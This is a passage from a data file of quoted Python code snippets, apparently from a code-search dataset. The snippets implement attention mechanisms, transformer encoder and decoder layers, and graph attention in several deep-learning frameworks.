state += residual\n state = self.final_layer_norm(state)\n\n return state, attn","def _Attention(self, name, is_causal=True):\n p = self.params\n tr_atten_p = TransformerAttentionLayer.Params().Set(\n name='transformer_atten',\n input_dim=p.model_dim,\n hidden_dim=p.attention_hidden_dim or p.model_dim,\n is_masked=is_causal,\n num_heads=p.num_heads,\n residual_dropout_prob=p.residual_dropout_prob,\n atten_dropout_prob=p.atten_dropout_prob,\n fprop_dtype=p.fprop_dtype,\n add_unnormalized_input=p.selfatten_add_unnormalized_input,\n )\n tr_atten_p.atten_tpl.use_bias = p.use_bias\n tr_atten_p.atten_tpl.enable_value_proj = p.selfatten_enable_value_proj\n tr_atten_p.atten_tpl.enable_query_scale = p.enable_query_scale\n tr_atten_p.atten_tpl.enable_per_dim_scale = p.enable_per_dim_scale\n tr_atten_p.atten_tpl.device_mesh = p.device_mesh\n tr_atten_p.atten_tpl.weight_split_dims_mapping = (\n p.weight_split_dims_mapping.dnh)\n tr_atten_p.atten_tpl.activation_split_dims_mapping.blnh = (\n p.activation_split_dims_mapping.blnh)\n tr_atten_p.atten_tpl.activation_split_dims_mapping.bld = (\n p.activation_split_dims_mapping.bld)\n if p.deterministic_dropout:\n tr_atten_p.dropout_tpl = layers.DeterministicDropoutLayer.Params()\n tr_atten_p.atten_p.dropout_tpl = layers.DeterministicDropoutLayer.Params()\n\n return self._Graph(\n name,\n ['i'], # input NestedMap with {vec, paddings}\n ['o'], # output NestedMap with {vec, paddings}\n ('i.vec->split_i',\n self.MeshSplit('input_split', p.activation_split_dims_mapping.bld)),\n ('split_i,split_i,i.paddings->o.vec,unused_prob', tr_atten_p),\n ('i.paddings->o.paddings', self._Id('id')))","def self_attention_layer(hparams, prefix):\n return transformer_layers.SelfAttention(\n num_heads=hparams.get(prefix + \"num_heads\"),\n num_memory_heads=hparams.get(prefix + \"num_memory_heads\"),\n key_value_size=hparams.d_kv,\n shared_kv=hparams.get(prefix + \"shared_kv\", False),\n attention_kwargs=attention_kwargs_from_hparams(hparams))","def forward(self, tgt, memory, tgt_mask=None, memory_mask=None):\n # m = memory\n # LayerNorm + SelfAtt + Dropout + Residual\n tgt = self.sublayer[0](tgt, lambda x: self.self_attn(x, x, x, tgt_mask))\n # LayerNorm + Att + Dropout + Residual\n tgt = self.sublayer[1](tgt, lambda x: self.memory_attn(x, memory, memory, memory_mask))\n # LayerNorm + FF + Dropout +Residual\n layer_output = self.sublayer[2](tgt, self.feed_forward)\n return layer_output","def self_attention_model(self):\n inputs = self.prepare_inputs()\n \n features = self.prepare_features(inputs)\n support_history_context_concat_emb = features['support_history_context_concat_emb']\n support_link_info_concat_emb = features['support_link_info_concat_emb']\n support_start_node_info_concat_emb = features['support_start_node_info_concat_emb']\n support_end_node_info_concat_emb = features['support_end_node_info_concat_emb']\n support_future_context_concat_emb = features['support_future_context_concat_emb']\n support_neighbor_link_info_concat_emb = features['support_neighbor_link_info_concat_emb']\n support_neighbor_start_node_info_concat_emb = features['support_neighbor_start_node_info_concat_emb']\n support_neighbor_end_node_info_concat_emb = features['support_neighbor_end_node_info_concat_emb']\n support_neighbor_link_state_concat_emb = features['support_neighbor_link_state_concat_emb']\n support_y_embed = features['support_duration_delta_concat_emb']\n\n query_history_context_concat_emb = features['query_history_context_concat_emb']\n query_link_info_concat_emb = features['query_link_info_concat_emb']\n query_start_node_info_concat_emb = features['query_start_node_info_concat_emb']\n query_end_node_info_concat_emb = features['query_end_node_info_concat_emb']\n query_future_context_concat_emb = features['query_future_context_concat_emb']\n query_neighbor_link_info_concat_emb = features['query_neighbor_link_info_concat_emb']\n query_neighbor_start_node_info_concat_emb = features['query_neighbor_start_node_info_concat_emb']\n query_neighbor_end_node_info_concat_emb = features['query_neighbor_end_node_info_concat_emb']\n query_neighbor_link_state_concat_emb = features['query_neighbor_link_state_concat_emb']\n \n support_x = self.constgat({\n 'history_context': support_history_context_concat_emb,\n 'link_info': support_link_info_concat_emb,\n 'start_node_info': support_start_node_info_concat_emb,\n 'end_node_info': support_end_node_info_concat_emb,\n 'future_context': support_future_context_concat_emb,\n 'neighbor_link_info': support_neighbor_link_info_concat_emb,\n 'neighbor_start_node_info': support_neighbor_start_node_info_concat_emb,\n 'neighbor_end_node_info': support_neighbor_end_node_info_concat_emb,\n 'neighbor_link_state': support_neighbor_link_state_concat_emb})\n\n query_x = self.constgat({\n 'history_context': query_history_context_concat_emb,\n 'link_info': query_link_info_concat_emb,\n 'start_node_info': query_start_node_info_concat_emb,\n 'end_node_info': query_end_node_info_concat_emb,\n 'future_context': query_future_context_concat_emb,\n 'neighbor_link_info': query_neighbor_link_info_concat_emb,\n 'neighbor_start_node_info': query_neighbor_start_node_info_concat_emb,\n 'neighbor_end_node_info': query_neighbor_end_node_info_concat_emb,\n 'neighbor_link_state': query_neighbor_link_state_concat_emb})\n query_x = query_x + layers.reduce_sum(inputs['query_mask']) * 0.0 + layers.reduce_sum(inputs['support_mask']) * 0.0 # IMPORTANT: for save_inference_model\n\n def forward_attention(indicator, support_x, support_y_embed, support_mask, query_x, query_y, query_mask):\n \"\"\"\n support_indicator: length = support_len\n if attention(support, query), indicator = 0\n if attention(support, support), indicator = 1\n \"\"\"\n support_y_embed = support_y_embed * support_mask\n support_xy = layers.concat([support_x, support_y_embed, indicator], axis=1)\n\n pad_value = layers.assign(input=numpy.array([0.0], dtype=numpy.float32))\n support_pad, support_len = layers.sequence_pad(support_xy, pad_value=pad_value)\n query_pad, query_len = layers.sequence_pad(query_x, pad_value=pad_value)\n\n attention = self.attention(query_pad, support_pad, support_pad, self.hidden_dim, 'meta')\n attention = layers.sequence_unpad(attention, length=query_len)\n pred_input = layers.concat([attention, query_x], axis=1)\n\n pred = self.prepare_preds_with_name(pred_input, 'out_pred')\n label = layers.cast(query_y, dtype='float32')\n label = layers.scale(label, scale=0.01)\n\n loss = layers.huber_loss(pred, label, 1.0) * query_mask\n loss = layers.mean(loss)\n return pred, label, loss\n\n indicator = support_y_embed * 0.0\n pred, label, loss1 = forward_attention(\n indicator, support_x, support_y_embed, inputs['support_mask'], \n query_x, inputs['query_duration_delta'], 1.0)\n indicator = support_y_embed * 1.0\n _, _, loss2 = forward_attention(\n indicator, support_x, support_y_embed, inputs['support_mask'], \n support_x, inputs['support_duration_delta'] - 120, (inputs['support_mask'] * (-1.0) + 1))\n loss = loss1 + loss2\n return pred, label, loss","def self_attention(self, hidden):\n mul1 = self.attention1(hidden)\n mul2 = self.attention2(mul1)\n return self.softmax(mul2)","def __init__(self, mbart_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([mbart_layer.self_attn.q_proj.weight, mbart_layer.self_attn.k_proj.weight, mbart_layer.self_attn.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([mbart_layer.self_attn.q_proj.bias, mbart_layer.self_attn.k_proj.bias, mbart_layer.self_attn.v_proj.bias]))\n self.out_proj_weight = mbart_layer.self_attn.out_proj.weight\n self.out_proj_bias = mbart_layer.self_attn.out_proj.bias\n self.linear1_weight = mbart_layer.fc1.weight\n self.linear1_bias = mbart_layer.fc1.bias\n self.linear2_weight = mbart_layer.fc2.weight\n self.linear2_bias = mbart_layer.fc2.bias\n self.norm1_eps = mbart_layer.self_attn_layer_norm.eps\n self.norm1_weight = mbart_layer.self_attn_layer_norm.weight\n self.norm1_bias = mbart_layer.self_attn_layer_norm.bias\n self.norm2_eps = mbart_layer.final_layer_norm.eps\n self.norm2_weight = mbart_layer.final_layer_norm.weight\n self.norm2_bias = mbart_layer.final_layer_norm.bias\n self.num_heads = mbart_layer.self_attn.num_heads\n self.embed_dim = mbart_layer.self_attn.embed_dim\n self.is_last_layer = False\n self.norm_first = True\n self.validate_bettertransformer()","def nn_layer(input_tensor, input_dim, output_dim, act=tf.nn.relu):\n\n with tf.device('/device:SYCL:0'):\n weights = weight_variable([input_dim, output_dim])\n biases = bias_variable([output_dim])\n preactivate = tf.matmul(input_tensor, weights) + biases\n activations = act(preactivate, name='activation')\n return activations","def __init__(self, emb_size: int = 768, num_heads: int = 12, dropout: float = 0.1):\n super().__init__()\n self.emb_size = emb_size\n self.num_heads = num_heads\n\n # Check \"head dim\" = number of features per head (d_k).\n self.head_dim = emb_size // num_heads\n assert self.head_dim * num_heads == self.emb_size, \"emb_size must be divisible by num_heads\"\n # Calculate scaling factor.\n self.scale = 1 / (self.head_dim ** 0.5)\n\n # V1: in vanilla self-attention Q,K,V are square matrices.\n # self.keys = nn.Linear(emb_size, emb_size)\n # self.queries = nn.Linear(emb_size, emb_size)\n # self.values = nn.Linear(emb_size, emb_size)\n \n # V2: single layer with emb_size, split into num (heads * head_dim) * 3 (Q,K,V).\n self.qkv = nn.Linear(emb_size, emb_size * 3)\n\n # Attention dropout.\n self.att_drop = nn.Dropout(dropout)\n self.projection = nn.Linear(emb_size, emb_size)","def forward(self, graph, feat):\n graph = graph.local_var()\n\n if isinstance(feat, tuple):\n h_src = self.feat_drop(feat[0])\n h_dst = self.feat_drop(feat[1])\n feat_src = self.fc_src(h_src).view(-1, self._num_heads, self._out_feats)\n feat_dst = self.fc_dst(h_dst).view(-1, self._num_heads, self._out_feats)\n else:\n h_src = h_dst = self.feat_drop(feat)\n feat_src = feat_dst = self.fc(h_src).view(-1, self._num_heads,\n self._out_feats)\n el = (feat_src * self.attn_l).sum(dim=-1).unsqueeze(-1)\n er = (feat_dst * self.attn_r).sum(dim=-1).unsqueeze(-1)\n graph.srcdata.update({'ft': feat_src, 'el': el})\n graph.dstdata.update({'er': er})\n # compute edge attention, el and er are a_l Wh_i and a_r Wh_j respectively.\n graph.apply_edges(fn.u_add_v('el', 'er', 'e'))\n e = self.leaky_relu(graph.edata.pop('e'))\n\n one_minus_lambda_sparsemax = (1 - self.lambda_sparsemax)\n lambda_score = e / one_minus_lambda_sparsemax\n\n sparse_attn = edge_sparsemax(graph, lambda_score)\n graph.edata['a'] = self.attn_drop(sparse_attn)\n self.attention_weights = graph.edata['a']\n\n # self.att_wrt_h = compute_att_wrt_h(self.attention_weights, self.fc.weight)\n\n graph.update_all(fn.u_mul_e('ft', 'a', 'm'), fn.sum('m', 'ft'))\n rst = graph.dstdata['ft']\n\n # residual\n if self.res_fc is not None:\n resval = self.res_fc(h_dst).view(h_dst.shape[0], -1, self._out_feats)\n rst = rst + resval\n # activation\n if self.activation:\n rst = self.activation(rst)\n return rst","def local_attention(inputs, num_filters, filter_size=5, initializer=None, reuse=None,\n name=''):\n print(\"Local Attentional\")\n weighted_inputs, _ = convolutional_attention(inputs, filter_size=filter_size,\n initializer=initializer, name='local{}'.format(name),\n reuse=reuse)\n conv_output = build_cnn(weighted_inputs, num_filters, filter_sizes=3,\n initializer=initializer, name='local{}'.format(name),\n reuse=reuse)\n print(conv_output)\n return conv_output","def forward(self, x):\n\n out = F.relu(self.conv1(x))\n out = F.relu(self.conv2(out))\n\n out = F.relu(self.resnet_block(out))\n\n # 8 x 8 x 64\n noise = self.sample_noise((out.shape[0], self.noise_dim, out.shape[2], out.shape[3]))\n\n # print(noise.shape)\n # print(out.shape)\n\n out = torch.cat([out, noise], dim=1)\n\n # print(out.shape)\n\n out = F.relu(self.deconv1(out))\n out = F.tanh(self.deconv2(out))\n\n return out","def Attention_block(up_in,down_in,nf):\n# def MyTile(alpha, channels):\n# alpha = tf.tile(alpha, [1, 1, 1, 1, channels])\n# return alpha\n# def MyTile_output_shape(input_shape):\n# shape = list(input_shape)\n# assert len(shape) == 5 # only valid for 2D tensors\n# shape[-1] *= channels\n# return tuple(shape)\n ndims = len(up_in.get_shape()) - 2\n assert ndims in [1, 2, 3], \"ndims should be one of 1, 2, or 3. found: %d\" % ndims\n input_channels = up_in.get_shape().as_list()[-1]\n# batch_size1 = tf.shape(down_in)[0]\n# nf = tf.min(batch_size0,batch_size1)\n Conv = getattr(KL, 'Conv%dD' % ndims)\n up = Conv(nf, kernel_size=1, padding='same',\n kernel_initializer='he_normal', strides=2)(up_in)\n down = Conv(nf, kernel_size=1, padding='same',\n kernel_initializer='he_normal', strides=1)(down_in)\n\n# x = NCCLayer(channels=nf)([up,down])\n x = Add()([up,down])\n x = Activation('relu')(x)\n x = Conv(1, kernel_size=1, padding='same',\n kernel_initializer='he_normal', use_bias = True, bias_initializer='zeros',strides=1,activation='sigmoid')(x)\n# x = Activation('sigmoid')(x)\n upsample_layer = getattr(KL, 'UpSampling%dD' % ndims)\n alpha = upsample_layer()(x)\n# alpha = Lambda(MyTile)(alpha, input_channels)\n alpha = MyTile(channels=input_channels)(alpha)\n up_out = Multiply()([alpha,up_in])\n return up_out","def forward(self,\n x: Tensor = None,\n memory: Tensor = None,\n src_mask: Tensor = None,\n trg_mask: Tensor = None) -> Tensor:\n # decoder/target self-attention\n\n x_norm = self.x_layer_norm(x)\n# print(x_norm)\n# trg_mask()\n# print(trg_mask)\n\n h1 = self.trg_trg_att(x_norm, x_norm, x_norm, mask=trg_mask)\n h1 = self.dropout(h1) + x\n\n\n if self.src_trg_att:\n # source-target attention\n h1_norm = self.dec_layer_norm(h1)\n h2 = self.src_trg_att(memory, memory, h1_norm, mask=src_mask)\n # final position-wise feed-forward layer\n o = self.feed_forward(self.dropout(h2) + h1)\n else:\n o = self.feed_forward(h1)\n return o","def forward(self,\n spatial_x: Tensor = None,\n semantic_x: Tensor = None,\n memory: Tensor = None,\n src_mask: Tensor = None,\n trg_mask: Tensor = None) -> Tensor:\n # decoder/target self-attention\n\n spatial_x_norm = self.spa_layer_norm(spatial_x) #64\n semantic_x_norm = self.x_layer_norm(semantic_x) #256\n\n # layout attention\n\n h1 = self.trg_trg_att(spatial_x_norm, spatial_x_norm, spatial_x_norm, mask=trg_mask)\n h1 = self.dropout(h1) + spatial_x\n\n# h2 = self.src_trg_att(memory, memory, semantic_x_norm, mask=src_mask)\n# h2 = self.dropout(h2)\n \n o1 = self.feed_forward_h1(h1)\n o2 = memory[:,1:,:]\n o = torch.cat((o2, o1), dim=-1)\n \n return o","def forward(self, src, src_mask=None, src_key_padding_mask=None):\n # type: (Tensor, Optional[Tensor], Optional[Tensor]) -> Tensor\n src = self.pre_norm(src)\n\n # Self attention layer\n src2 = src\n src2 = self.self_attn(src2, src2, src2, attn_mask=src_mask,\n key_padding_mask=src_key_padding_mask)\n src2 = src2[0] # no attention weights\n src2 = src2 * self.resweight\n src = src + self.dropout1(src2)\n\n # Pointiwse FF Layer\n if self.factor_ff:\n #src2 = self.fac_linear1(self.dropout(self.activation(self.linear1(src))))\n #src = src + self.dropout2(src2 * self.resweight)\n #src2 = self.linear2(self.dropout(self.activation(self.fac_linear2(src))))\n #src = src + self.dropout2(src2 * self.resweight)\n src2 = self.dropout1(self.fac_linear1(self.activation(self.linear1(src))))\n src2 = self.linear2(self.dropout(self.activation(self.fac_linear2(src2))))\n src = src + self.dropout2(src2 * self.resweight)\n else:\n src2 = src \n src2 = self.linear2(self.dropout(self.activation(self.linear1(src2))))\n src2 = src2 * self.resweight\n src = src + self.dropout2(src2)\n\n if self.adapter_finetune:\n src2 = src \n src2 = self.ada_linear2(self.ada_dropout1(self.activation(self.ada_linear1(src2))))\n src2 = src2 * self.resweight\n src = src + self.ada_dropout2(src2)\n \n return src","def __init__(self, input_dim=6, hidden_dim=128, T=10, in_features=2*128 + 16, num_layers=1, out_features=1):\n super(InputAttentionEncoder, self).__init__()\n self.input_dim = input_dim\n self.hidden_dim = hidden_dim\n self.T = T\n\n in_features = hidden_dim * 2 + T - 1\n\n self.lstm_unit = nn.LSTM(input_size=input_dim, hidden_size=hidden_dim, num_layers=num_layers)\n self.attn_linear = nn.Linear(in_features=in_features, out_features=out_features)\n self.bn1 = nn.BatchNorm1d(out_features)\n self.fc2 = nn.Linear(out_features, out_features)","def __init__(self, albert_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([albert_layer.attention.query.weight, albert_layer.attention.key.weight, albert_layer.attention.value.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([albert_layer.attention.query.bias, albert_layer.attention.key.bias, albert_layer.attention.value.bias]))\n self.out_proj_weight = albert_layer.attention.dense.weight\n self.out_proj_bias = albert_layer.attention.dense.bias\n self.linear1_weight = albert_layer.ffn.weight\n self.linear1_bias = albert_layer.ffn.bias\n self.linear2_weight = albert_layer.ffn_output.weight\n self.linear2_bias = albert_layer.ffn_output.bias\n self.norm1_eps = albert_layer.attention.LayerNorm.eps\n self.norm1_weight = albert_layer.attention.LayerNorm.weight\n self.norm1_bias = albert_layer.attention.LayerNorm.bias\n self.norm2_eps = albert_layer.full_layer_layer_norm.eps\n self.norm2_weight = albert_layer.full_layer_layer_norm.weight\n self.norm2_bias = albert_layer.full_layer_layer_norm.bias\n self.num_heads = albert_layer.attention.num_attention_heads\n self.embed_dim = albert_layer.attention.all_head_size\n self.is_last_layer = False\n self.validate_bettertransformer()","def __init__(self, bart_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([bart_layer.self_attn.q_proj.weight, bart_layer.self_attn.k_proj.weight, bart_layer.self_attn.v_proj.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([bart_layer.self_attn.q_proj.bias, bart_layer.self_attn.k_proj.bias, bart_layer.self_attn.v_proj.bias]))\n self.out_proj_weight = bart_layer.self_attn.out_proj.weight\n self.out_proj_bias = bart_layer.self_attn.out_proj.bias\n self.linear1_weight = bart_layer.fc1.weight\n self.linear1_bias = bart_layer.fc1.bias\n self.linear2_weight = bart_layer.fc2.weight\n self.linear2_bias = bart_layer.fc2.bias\n self.norm1_eps = bart_layer.self_attn_layer_norm.eps\n self.norm1_weight = bart_layer.self_attn_layer_norm.weight\n self.norm1_bias = bart_layer.self_attn_layer_norm.bias\n self.norm2_eps = bart_layer.final_layer_norm.eps\n self.norm2_weight = bart_layer.final_layer_norm.weight\n self.norm2_bias = bart_layer.final_layer_norm.bias\n self.num_heads = bart_layer.self_attn.num_heads\n self.embed_dim = bart_layer.self_attn.embed_dim\n self.is_last_layer = False\n self.validate_bettertransformer()","def __init__(self, cfg, name=''):\n nn.Layer.__init__(self)\n self.cfg = cfg\n d_model = cfg['hidden_size']\n d_emb = cfg.get('emb_size', cfg['hidden_size'])\n d_vocab = cfg['vocab_size']\n d_pos = cfg['max_position_embeddings']\n # d_sent = cfg.get(\"sent_type_vocab_size\", 4) or cfg.get('type_vocab_size', 4)\n if cfg.get('sent_type_vocab_size'):\n d_sent = cfg['sent_type_vocab_size']\n else:\n d_sent = cfg.get('type_vocab_size', 2)\n self.n_head = cfg['num_attention_heads']\n self.return_additional_info = cfg.get('return_additional_info', False)\n self.initializer = nn.initializer.TruncatedNormal(std=cfg['initializer_range'])\n\n self.ln = _build_ln(d_model, name=append_name(name, 'pre_encoder'))\n self.word_emb = nn.Embedding(d_vocab,\n d_emb,\n weight_attr=paddle.ParamAttr(name=append_name(name, 'word_embedding'),\n initializer=self.initializer))\n self.pos_emb = nn.Embedding(d_pos,\n d_emb,\n weight_attr=paddle.ParamAttr(name=append_name(name, 'pos_embedding'),\n initializer=self.initializer))\n # self.sent_emb = nn.Embedding(\n # d_sent,\n # d_emb,\n # weight_attr=paddle.ParamAttr(name=append_name(name, 'sent_embedding'), initializer=self.initializer))\n self._use_sent_id = cfg.get('use_sent_id', True)\n self._use_sent_id = False\n if self._use_sent_id:\n self.sent_emb = nn.Embedding(d_sent,\n d_emb,\n weight_attr=paddle.ParamAttr(name=append_name(name, 'sent_embedding'),\n initializer=self.initializer))\n self._use_task_id = cfg.get('use_task_id', False)\n self._use_task_id = False\n if self._use_task_id:\n self._task_types = cfg.get('task_type_vocab_size', 3)\n logging.info('using task_id, #task_types:{}'.format(self._task_types))\n self.task_emb = nn.Embedding(self._task_types,\n d_emb,\n weight_attr=paddle.ParamAttr(name=append_name(name, 'task_embedding'),\n initializer=self.initializer))\n\n prob = cfg['hidden_dropout_prob']\n self.dropout = nn.Dropout(p=prob)\n\n self.encoder_stack = ErnieEncoderStack(cfg, append_name(name, 'encoder'))\n\n if cfg.get('has_pooler', True):\n self.pooler = _build_linear(cfg['hidden_size'], cfg['hidden_size'], append_name(name, 'pooled_fc'),\n self.initializer)\n else:\n self.pooler = None\n\n self.key_tag = None\n self._checkpoints = []\n self.train()","def transformer_model(input_tensor,\n attention_mask=None,\n hidden_size=768,\n num_hidden_layers=12,\n num_attention_heads=12,\n intermediate_size=3072,\n intermediate_act_fn=gelu,\n hidden_dropout_prob=0.1,\n attention_probs_dropout_prob=0.1,\n initializer_range=0.02,\n do_return_all_layers=False,\n conv_kernel_size=3,\n head_ratio=2,\n conv_type=\"noconv\",\n **kargs):\n if hidden_size % num_attention_heads != 0:\n raise ValueError(\n \"The hidden size (%d) is not a multiple of the number of attention \"\n \"heads (%d)\" % (hidden_size, num_attention_heads))\n\n attention_head_size = int(hidden_size / num_attention_heads)\n input_shape = bert_utils.get_shape_list(input_tensor, expected_rank=3)\n batch_size = input_shape[0]\n seq_length = input_shape[1]\n input_width = input_shape[2]\n\n # The Transformer performs sum residuals on all layers so the input needs\n # to be the same as the hidden size.\n if input_width != hidden_size:\n raise ValueError(\"The width of the input tensor (%d) != hidden size (%d)\" %\n (input_width, hidden_size))\n\n # We keep the representation as a 2D tensor to avoid re-shaping it back and\n # forth from a 3D tensor to a 2D tensor. Re-shapes are normally free on\n # the GPU/CPU but may not be free on the TPU, so we want to minimize them to\n # help the optimizer.\n prev_output = bert_utils.reshape_to_matrix(input_tensor)\n\n attn_maps = []\n all_layer_outputs = []\n all_value_outputs = []\n for layer_idx in range(num_hidden_layers):\n with tf.variable_scope(\"layer_%d\" % layer_idx):\n with tf.variable_scope(\"attention\"):\n attention_heads = []\n with tf.variable_scope(\"self\"):\n attention_head, probs, value_layer = attention_layer(\n from_tensor=prev_output,\n to_tensor=prev_output,\n attention_mask=attention_mask,\n num_attention_heads=num_attention_heads,\n size_per_head=attention_head_size,\n attention_probs_dropout_prob=attention_probs_dropout_prob,\n initializer_range=initializer_range,\n do_return_2d_tensor=True,\n batch_size=batch_size,\n from_seq_length=seq_length,\n to_seq_length=seq_length,\n conv_kernel_size=conv_kernel_size,\n head_ratio=head_ratio,\n conv_type=conv_type,\n from_tensor_mask=kargs.get('from_tensor_mask', None),\n to_tensor_mask=kargs.get('to_tensor_mask', None),\n conv_method=kargs.get('conv_method', \"dot\"))\n attention_heads.append(attention_head)\n attn_maps.append(probs)\n all_value_outputs.append(value_layer)\n\n attention_output = None\n if len(attention_heads) == 1:\n attention_output = attention_heads[0]\n else:\n # In the case where we have other sequences, we just concatenate\n # them to the self-attention head before the projection.\n attention_output = tf.concat(attention_heads, axis=-1)\n\n with tf.variable_scope(\"output\"):\n # Run a linear projection of `hidden_size` then add a residual\n # with `layer_input`.\n attention_output = tf.layers.dense(\n attention_output,\n hidden_size,\n kernel_initializer=create_initializer(initializer_range))\n \n\n attention_output = dropout(attention_output, hidden_dropout_prob)\n attention_output = layer_norm(attention_output + prev_output)\n\n # The activation is only applied to the \"intermediate\" hidden layer.\n with tf.variable_scope(\"intermediate\"):\n intermediate_output = tf.layers.dense(\n attention_output,\n intermediate_size,\n activation=intermediate_act_fn,\n kernel_initializer=create_initializer(initializer_range))\n # Down-project back to `hidden_size` then add the residual.\n with tf.variable_scope(\"output\"):\n prev_output = tf.layers.dense(\n intermediate_output,\n hidden_size,\n kernel_initializer=create_initializer(initializer_range))\n\n prev_output = dropout(prev_output, hidden_dropout_prob)\n prev_output = layer_norm(prev_output + attention_output)\n all_layer_outputs.append(prev_output)\n\n attn_maps = tf.stack(attn_maps, 0)\n if do_return_all_layers:\n final_outputs = []\n for layer_output in all_layer_outputs:\n final_output = bert_utils.reshape_from_matrix(layer_output, input_shape)\n final_outputs.append(final_output)\n return final_outputs, attn_maps, all_value_outputs\n else:\n final_output = bert_utils.reshape_from_matrix(prev_output, input_shape)\n return final_output, attn_maps, all_value_outputs","def forward(self, x, src_states, src_mask, tgt_mask):\n x = self.sublayer[0](x, lambda x: self.self_attn(x, x, x, tgt_mask))\n #print('decoder')\n #print(x.shape)\n x = self.sublayer[1](x, lambda x: self.src_attn(x, src_states, src_states, src_mask))\n #print(x.shape)\n return self.sublayer[2](x, self.feed_forward)","def __init__(self, bert_layer, config):\n super().__init__(config)\n self.in_proj_weight = nn.Parameter(torch.cat([bert_layer.attention.self.query.weight, bert_layer.attention.self.key.weight, bert_layer.attention.self.value.weight]))\n self.in_proj_bias = nn.Parameter(torch.cat([bert_layer.attention.self.query.bias, bert_layer.attention.self.key.bias, bert_layer.attention.self.value.bias]))\n self.out_proj_weight = bert_layer.attention.output.dense.weight\n self.out_proj_bias = bert_layer.attention.output.dense.bias\n self.linear1_weight = bert_layer.intermediate.dense.weight\n self.linear1_bias = bert_layer.intermediate.dense.bias\n self.linear2_weight = bert_layer.output.dense.weight\n self.linear2_bias = bert_layer.output.dense.bias\n self.norm1_eps = bert_layer.attention.output.LayerNorm.eps\n self.norm1_weight = bert_layer.attention.output.LayerNorm.weight\n self.norm1_bias = bert_layer.attention.output.LayerNorm.bias\n self.norm2_eps = bert_layer.output.LayerNorm.eps\n self.norm2_weight = bert_layer.output.LayerNorm.weight\n self.norm2_bias = bert_layer.output.LayerNorm.bias\n self.num_heads = bert_layer.attention.self.num_attention_heads\n self.embed_dim = bert_layer.attention.self.all_head_size\n self.is_last_layer = False\n self.validate_bettertransformer()","def __init__(\n self,\n d_model: int,\n nheads: int,\n ff_dim: int,\n bias: bool = False,\n dropout: float = 0.2,\n ):\n super().__init__()\n self.d_model = d_model\n self.nheads = nheads\n self.ff_dim = ff_dim\n self.norm1 = nn.LayerNorm(d_model)\n self.norm2 = nn.LayerNorm(d_model)\n self.self_attention = MultiHeadAttention(d_model, nheads, bias, dropout)\n self.feedforward = PositionwiseFeedforward(d_model, ff_dim)","def __init__(self, cfg):\n super(MHBCoAtt, self).__init__()\n self.cfg = cfg\n # word embedding: q_vocab_size, 1024\n self.word_embedding = nn.Embedding(cfg.q_vocab_size, cfg.emb_dim)\n # LSTM\n if cfg.glove:\n self.lstm = nn.LSTM(input_size=cfg.emb_dim*2,\n hidden_size=cfg.hidden_dim,\n num_layers=cfg.num_layers,\n batch_first=True)\n else:\n self.lstm = nn.LSTM(input_size=cfg.emb_dim,\n hidden_size=cfg.hidden_dim,\n num_layers=cfg.num_layers,\n batch_first=True)\n\n self.dropout_l = nn.Dropout(p = 0.3)\n # question attention\n self.ques_att_conv1 = nn.Conv2d(cfg.hidden_dim, 512, [1,1])\n self.ques_att_conv2 = nn.Conv2d(512, 2, [1,1])\n\n # question attentive feature fuse with image feature, according to paper: k * o = 5000, k = 5\n self.ques_proj1 = nn.Linear(2*cfg.hidden_dim, 5000)\n self.img_conv1d = nn.Conv2d(cfg.img_feature_channel, 5000, [1, 1])\n self.dropout_m = nn.Dropout(p = 0.1)\n\n # co-attention conv layers\n self.co_att_conv1 = nn.Conv2d(1000, 512, [1,1])\n self.co_att_conv2 = nn.Conv2d(512, 2, [1,1])\n\n # co_attentive feature fuse with question attentive feature\n self.ques_proj2 = nn.Linear(2*cfg.hidden_dim, 5000)\n self.ques_proj3 = nn.Linear(2*cfg.hidden_dim, 5000)\n self.img_proj2 = nn.Linear(2*cfg.img_feature_channel, 5000)\n self.img_proj3 = nn.Linear(2*cfg.img_feature_channel, 5000)\n\n # prediction fully connected layer\n self.linear_pred = nn.Linear(2000, cfg.a_vocab_size)","def graph_transformer(name, gw,\n feature,\n hidden_size,\n num_heads=4,\n attn_drop=False,\n edge_feature=None,\n concat=True,\n skip_feat=True,\n gate=False,\n layer_norm=True, \n relu=True, \n is_test=False):\n def send_attention(src_feat, dst_feat, edge_feat):\n if edge_feat is None or not edge_feat:\n output = src_feat[\"k_h\"] * dst_feat[\"q_h\"]\n output = L.reduce_sum(output, -1)\n output = output / (hidden_size ** 0.5)\n# alpha = paddle_helper.sequence_softmax(output)\n return {\"alpha\": output, \"v\": src_feat[\"v_h\"]} # batch x h batch x h x feat\n else:\n edge_feat = edge_feat[\"edge\"]\n edge_feat = L.reshape(edge_feat, [-1, num_heads, hidden_size])\n output = (src_feat[\"k_h\"] + edge_feat) * dst_feat[\"q_h\"]\n output = L.reduce_sum(output, -1)\n output = output / (hidden_size ** 0.5)\n# alpha = paddle_helper.sequence_softmax(output)\n return {\"alpha\": output, \"v\": (src_feat[\"v_h\"] + edge_feat)} # batch x h batch x h x feat\n\n class Reduce_attention():\n def __init__(self,):\n self.alpha = None\n def __call__(self, msg):\n alpha = msg[\"alpha\"] # lod-tensor (batch_size, num_heads)\n if attn_drop:\n old_h = alpha\n dropout = F.data(name='attn_drop', shape=[1], dtype=\"int64\")\n u = L.uniform_random(shape=L.cast(L.shape(alpha)[:1], 'int64'), min=0., max=1.)\n keeped = L.cast(u > dropout, dtype=\"float32\")\n self_attn_mask = L.scale(x=keeped, scale=10000.0, bias=-1.0, bias_after_scale=False)\n n_head_self_attn_mask = L.stack( x=[self_attn_mask] * num_heads, axis=1)\n n_head_self_attn_mask.stop_gradient = True\n alpha = n_head_self_attn_mask+ alpha\n alpha = L.lod_reset(alpha, old_h)\n\n h = msg[\"v\"]\n alpha = paddle_helper.sequence_softmax(alpha)\n \n self.alpha = alpha\n old_h = h\n h_mean = L.sequence_pool(h, \"average\")\n h = h * alpha\n h = L.lod_reset(h, old_h)\n h = L.sequence_pool(h, \"sum\")\n\n h = h * 0.8 + h_mean * 0.2\n \n if concat:\n h = L.reshape(h, [-1, num_heads * hidden_size])\n else:\n h = L.reduce_mean(h, dim=1)\n return h\n reduce_attention = Reduce_attention()\n \n q = linear(feature, hidden_size * num_heads, name=name + '_q_weight', init_type='gcn')\n k = linear(feature, hidden_size * num_heads, name=name + '_k_weight', 